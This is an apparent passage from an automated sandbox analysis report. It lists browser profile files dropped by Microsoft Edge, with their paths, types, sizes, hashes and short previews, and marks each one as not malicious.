C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.107039098924628
Encrypted:	false
SSDEEP:	6:HE9JOq2Pwkn23oH+TcwtrQMxIFUt8YE9NNZZmw+YE9gFszkwOwkn23oH+TcwtrQq:k9JOvYfYebCFUt8/9NNZ/+/9gFo5JfYM
MD5:	050E31A678B4AB8264980BFC4ED9E5F8
SHA1:	04EC6A31C915DC1A35EF70B190D1170CC98EB51F
SHA-256:	6EE6CC8F36446281B02F7608FB198853D779CF8B1A7FA59284D8EB55827C37E8
SHA-512:	2239887756BB9A8AE7BA6AFABFF796E3E46A264BFCD058E67B8432BC5B2F8E34A4EED3034EF78EF1C764A527BF8C836AA0A86FB0F014D3FDCF439353BDE4DFE3
Malicious:	false
Preview:	2024/11/21-16:09:28.161 2100 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/21-16:09:28.165 2100 Recovering log #3.2024/11/21-16:09:28.170 2100 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376696969783901

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2467
Entropy (8bit):	3.79167800142042
Encrypted:	false
SSDEEP:	48:3h7xzYNbzFaLp2FEkChN9F3HOpVMB1Wo1ldB1/bHOp:3dxzYgp2+k6NXukldD/bu
MD5:	3C26A33A400A2E0976819C5D12F1B0C8
SHA1:	19CC9C708E0E79149297560C30A39F1AAEE8EFAD
SHA-256:	953E382D0ED8D9941B9CE60655B37A7B4A7DEA3E1AAF5AB4607DB5248947E9E6
SHA-512:	4C94155316C5BF3FF5B4D773A96B33FBD3E8593E8A12F37C7DD63165AE40861B0576C9AD9BB1E6BA0235ABEC1A827274233199582927946383AC2452E2298BA2
Malicious:	false
Preview:	SNSS.......?D.}...........?D.}......"?D.}...........?D.}.......?D.}.......@D.}.......@D.}....!..@D.}...............................?D.}@D.}1..,...@D.}$...d7af8c7f_659b_4a66_adbb_e21a54902632...?D.}.......@D.}.....`.........?D.}5..0...?D.}&...{1A5CCF63-1000-409F-B5C1-AFEC7F75D4D9}.....?D.}..........?D.}.'...'......Z..........@D.}...........@D.}........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......f...r'..g...r'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8....................................................................... ..........................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.1739122421652315
Encrypted:	false
SSDEEP:	6:HE9L9AQyq2Pwkn23oH+Tcwt7Uh2ghZIFUt8YE9LrWNAG1Zmw+YE9LwyAQRkwOwkr:k9L9AVvYfYebIhHh2FUt8/9LSNAG1/+e
MD5:	2625F1E95F48320B39405F20CCB3B530
SHA1:	9EE8DE66E87800249C8EFC016BB4DEBEC4DC0282
SHA-256:	6C7D959BABC34A92FE78A41ACD322AD271021459D611B058224DAF017A568D51
SHA-512:	B65082757F70A2A240B42CAE8C27204B95F23C3FC13CEC6BEC505E700B78A95F718465E6758331B7B6ED6F523E2A1438F1617BA8F63D1C066CABAF23103DF480
Malicious:	false
Preview:	2024/11/21-16:09:27.375 2034 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/21-16:09:27.376 2034 Recovering log #3.2024/11/21-16:09:27.377 2034 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.1739122421652315
Encrypted:	false
SSDEEP:	6:HE9L9AQyq2Pwkn23oH+Tcwt7Uh2ghZIFUt8YE9LrWNAG1Zmw+YE9LwyAQRkwOwkr:k9L9AVvYfYebIhHh2FUt8/9LSNAG1/+e
MD5:	2625F1E95F48320B39405F20CCB3B530
SHA1:	9EE8DE66E87800249C8EFC016BB4DEBEC4DC0282
SHA-256:	6C7D959BABC34A92FE78A41ACD322AD271021459D611B058224DAF017A568D51
SHA-512:	B65082757F70A2A240B42CAE8C27204B95F23C3FC13CEC6BEC505E700B78A95F718465E6758331B7B6ED6F523E2A1438F1617BA8F63D1C066CABAF23103DF480
Malicious:	false
Preview:	2024/11/21-16:09:27.375 2034 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/21-16:09:27.376 2034 Recovering log #3.2024/11/21-16:09:27.377 2034 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	4.6377872329235307E-4
Encrypted:	false
SSDEEP:	3:LsulbW:Ls0
MD5:	E866DA4F08F1C9AD6051C1E07D13E62A
SHA1:	9EFE0D054C2AE41AE7F4F4851554335B377BB337
SHA-256:	A8150C80DCD7079219C9375CB51143D142F6071DB2989015CD4786F62D085271
SHA-512:	73DEDDD5F44850841743D9768427EBF65CBB09F07F9B6E3D0DF46563219C6C85F71F4BF82C00F6B06388AE41E14AECCE130A478670CE5751FFB98D0B90CF75B0
Malicious:	false
Preview:	.........................................<S.../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNliM/:Ls3iM
MD5:	A8475C342960E25497388B2A294383C1
SHA1:	770A3D42AEDB7E314D741B0A5FAB60F2570D3995
SHA-256:	DA2735479C1B1C72D363B0DCEDB445C38F034C9270E8FA231140EB22F4BDB52B
SHA-512:	CC791CA1F1997D4CC2D3C2C4D1CFC38ECC24F0EA7DAA08BCAC7F8AB9B2E97FF28425CFC3E665B0FBB3F3E674D11E5AFE4ABE81A462990863DB719499CD140946
Malicious:	false
Preview:	........................................7j..../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.230220209834029
Encrypted:	false
SSDEEP:	12:k9AEvYfYebvqBQFUt8/9W/+/9NA5JfYebvqBvJ:k9AuYfYebvZg8/939NqJfYebvk
MD5:	CD1EF4C4D2149CF6255940277CFF86BC
SHA1:	3C18917FD8A05C909E9BAFE72C66196825CA3680
SHA-256:	DACF74E821B8479EFF51B06A9661EEBC5E715E4293900C69FDAB85BB7AD55B49
SHA-512:	57BBE007D4B3B3839E8F0B03220440E980E4021FCE9832365CC0464BC2CC5FF9D09EC99BFBF8DFE3DAC5D2B39FCE550949B3A0C228487AAD8E2CEE413EB986A5
Malicious:	false
Preview:	2024/11/21-16:09:28.156 2110 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/21-16:09:28.161 2110 Recovering log #3.2024/11/21-16:09:28.165 2110 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.230220209834029
Encrypted:	false
SSDEEP:	12:k9AEvYfYebvqBQFUt8/9W/+/9NA5JfYebvqBvJ:k9AuYfYebvZg8/939NqJfYebvk
MD5:	CD1EF4C4D2149CF6255940277CFF86BC
SHA1:	3C18917FD8A05C909E9BAFE72C66196825CA3680
SHA-256:	DACF74E821B8479EFF51B06A9661EEBC5E715E4293900C69FDAB85BB7AD55B49
SHA-512:	57BBE007D4B3B3839E8F0B03220440E980E4021FCE9832365CC0464BC2CC5FF9D09EC99BFBF8DFE3DAC5D2B39FCE550949B3A0C228487AAD8E2CEE413EB986A5
Malicious:	false
Preview:	2024/11/21-16:09:28.156 2110 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/21-16:09:28.161 2110 Recovering log #3.2024/11/21-16:09:28.165 2110 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\125ad119-dbc5-495a-8ed9-fe5bd91c674d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2de1416a-3ff4-417c-b9f3-cfcff2cea877.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRKXk1Yn:YH/u2caq3QH7E4TX
MD5:	1192DD11B1F5F8724DA374B0366A428E
SHA1:	CB40812A40613465E160C478DDF991C0AAA00731
SHA-256:	8E9C85442D198CE1085D98E21111320C07C08869CDD11853AF32FDFE8B2FDC58
SHA-512:	B7F100EA4668A801CA3BE81F38615E66EC871A8E093742D9B9673A278094508EA7099B6799EEF5D9C8FC5BB9CF72E52AC638EF93BBE14CB860E008BDBCA6FA32
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\382af7c1-2e0a-4da7-bc1f-165b2e14cc2c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF329d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF421dc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.555790634850688
Encrypted:	false
SSDEEP:	48:TsIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:QIEumQv8m1ccnvS6
MD5:	0247E46DE79B6CD1BF08CAF7782F7793
SHA1:	B3A63ED5BE3D8EC6E3949FC5E2D21D97ACC873A6
SHA-256:	AAD0053186875205E014AB98AE8C18A6233CB715DD3AF44E7E8EB259AEAB5EEA
SHA-512:	148804598D2A9EA182BD2ADC71663D481F88683CE3D672CE12A43E53B0D34FD70458BE5AAA781B20833E963804E7F4562855F2D18F7731B7C2EAEA5D6D52FBB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}.........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF31907.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
